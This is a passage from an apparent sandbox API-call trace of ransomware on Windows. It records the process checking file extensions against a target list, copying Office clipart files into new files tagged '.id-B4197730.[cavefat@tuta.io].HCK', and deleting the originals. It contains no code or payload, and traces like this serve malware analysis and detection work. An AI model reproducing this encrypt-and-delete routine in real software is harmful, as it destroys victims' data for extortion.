Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString=".1cd") returned 4 [0157.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString=".jpg") returned 4 [0157.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString=".doc") returned 4 [0157.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString=".docx") returned 5 [0157.373] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0157.373] lstrlenW (lpString=".pdf") returned 4 [0157.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString=".xls") returned 4 [0157.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.373] lstrlenW (lpString=".xlsx") returned 5 [0157.373] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0157.373] lstrlenW (lpString=".ppt") returned 4 [0157.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString=".zip") returned 4 [0157.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.373] lstrlenW (lpString=".rar") returned 4 [0157.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString=".bz2") returned 4 [0157.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString=".7z") returned 3 [0157.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString=".dbf") returned 4 [0157.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString=".1cd") returned 4 [0157.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString=".jpg") returned 4 [0157.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.373] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.373] lstrlenW (lpString="DD00117_.WMF") returned 12 [0157.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.374] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=31122) returned 1 [0157.374] CloseHandle (hObject=0x37c) returned 1 [0157.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0157.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.374] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.374] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.374] GetLastError () returned 0x0 [0157.374] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7992, lpOverlapped=0x0) returned 1 [0157.376] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x79a0, lpOverlapped=0x0) returned 1 [0157.377] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.377] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.377] SetEndOfFile (hFile=0x384) returned 1 [0157.377] CloseHandle (hObject=0x384) returned 1 [0157.379] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.379] SetEndOfFile (hFile=0x37c) returned 1 [0157.379] CloseHandle (hObject=0x37c) returned 1 [0157.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0157.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.380] lstrlenW (lpString=".doc") returned 4 [0157.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.380] lstrlenW (lpString=".docx") returned 5 [0157.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.380] lstrlenW (lpString=".pdf") returned 4 [0157.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.380] lstrlenW (lpString=".xls") returned 4 [0157.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.380] lstrlenW (lpString=".xlsx") returned 5 [0157.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.380] lstrlenW (lpString=".ppt") returned 4 [0157.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.380] lstrlenW (lpString=".zip") returned 4 [0157.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.380] lstrlenW (lpString=".rar") returned 4 [0157.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.380] lstrlenW (lpString=".bz2") returned 4 [0157.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString=".7z") returned 3 [0157.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString=".dbf") returned 4 [0157.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString=".1cd") returned 4 [0157.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString=".jpg") returned 4 [0157.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString=".doc") returned 4 [0157.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString=".docx") returned 5 [0157.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.381] lstrlenW (lpString=".pdf") returned 4 [0157.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString=".xls") returned 4 [0157.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.381] lstrlenW (lpString=".xlsx") returned 5 [0157.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.381] lstrlenW (lpString=".ppt") returned 4 [0157.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString=".zip") returned 4 [0157.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.381] lstrlenW (lpString=".rar") returned 4 [0157.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString=".bz2") returned 4 [0157.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString=".7z") returned 3 [0157.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString=".dbf") returned 4 [0157.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString=".1cd") returned 4 [0157.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0157.381] lstrlenW (lpString=".jpg") returned 4 [0157.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.381] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.381] lstrlenW (lpString="DD00234_.WMF") returned 12 [0157.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.382] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=29628) returned 1 [0157.382] CloseHandle (hObject=0x37c) returned 1 [0157.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0157.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.383] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.383] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.383] GetLastError () returned 0x0 [0157.383] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x73bc, lpOverlapped=0x0) returned 1 [0157.385] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x73c0, lpOverlapped=0x0) returned 1 [0157.386] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.386] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.386] SetEndOfFile (hFile=0x384) returned 1 [0157.386] CloseHandle (hObject=0x384) returned 1 [0157.387] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.387] SetEndOfFile (hFile=0x37c) returned 1 [0157.388] CloseHandle (hObject=0x37c) returned 1 [0157.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.389] lstrlenW (lpString=".doc") returned 4 [0157.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.389] lstrlenW (lpString=".docx") returned 5 [0157.389] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.389] lstrlenW (lpString=".pdf") returned 4 [0157.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.389] lstrlenW (lpString=".xls") returned 4 [0157.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.389] lstrlenW (lpString=".xlsx") returned 5 [0157.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.389] lstrlenW (lpString=".ppt") returned 4 [0157.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.389] lstrlenW (lpString=".zip") returned 4 [0157.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.389] lstrlenW (lpString=".rar") returned 4 [0157.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.389] lstrlenW (lpString=".bz2") returned 4 [0157.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.389] lstrlenW (lpString=".7z") returned 3 [0157.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.389] lstrlenW (lpString=".dbf") returned 4 [0157.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.389] lstrlenW (lpString=".1cd") returned 4 [0157.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.390] lstrlenW (lpString=".jpg") returned 4 [0157.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.390] lstrlenW (lpString=".doc") returned 4 [0157.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString=".docx") returned 5 [0157.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.390] lstrlenW (lpString=".pdf") returned 4 [0157.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString=".xls") returned 4 [0157.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.390] lstrlenW (lpString=".xlsx") returned 5 [0157.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.390] lstrlenW (lpString=".ppt") returned 4 [0157.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.390] lstrlenW (lpString=".zip") returned 4 [0157.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.390] lstrlenW (lpString=".rar") returned 4 [0157.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString=".bz2") returned 4 [0157.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString=".7z") returned 3 [0157.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.390] lstrlenW (lpString=".dbf") returned 4 [0157.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.390] lstrlenW (lpString=".1cd") returned 4 [0157.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0157.390] lstrlenW (lpString=".jpg") returned 4 [0157.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.390] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.390] lstrlenW (lpString="DD00255_.WMF") returned 12 [0157.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.668] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2690) returned 1 [0157.668] CloseHandle (hObject=0x2ec) returned 1 [0157.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0157.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.691] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.691] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.692] GetLastError () returned 0x0 [0157.692] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa82, lpOverlapped=0x0) returned 1 [0157.710] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa90, lpOverlapped=0x0) returned 1 [0157.711] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.711] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.711] SetEndOfFile (hFile=0x38c) returned 1 [0157.711] CloseHandle (hObject=0x38c) returned 1 [0157.712] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.712] SetEndOfFile (hFile=0x2ec) returned 1 [0157.713] CloseHandle (hObject=0x2ec) returned 1 [0157.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0157.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.713] lstrlenW (lpString=".doc") returned 4 [0157.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.713] lstrlenW (lpString=".docx") returned 5 [0157.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.713] lstrlenW (lpString=".pdf") returned 4 [0157.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString=".xls") returned 4 [0157.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.714] lstrlenW (lpString=".xlsx") returned 5 [0157.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.714] lstrlenW (lpString=".ppt") returned 4 [0157.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.714] lstrlenW (lpString=".zip") returned 4 [0157.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.714] lstrlenW (lpString=".rar") returned 4 [0157.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString=".bz2") returned 4 [0157.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString=".7z") returned 3 [0157.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.714] lstrlenW (lpString=".dbf") returned 4 [0157.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.714] lstrlenW (lpString=".1cd") returned 4 [0157.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 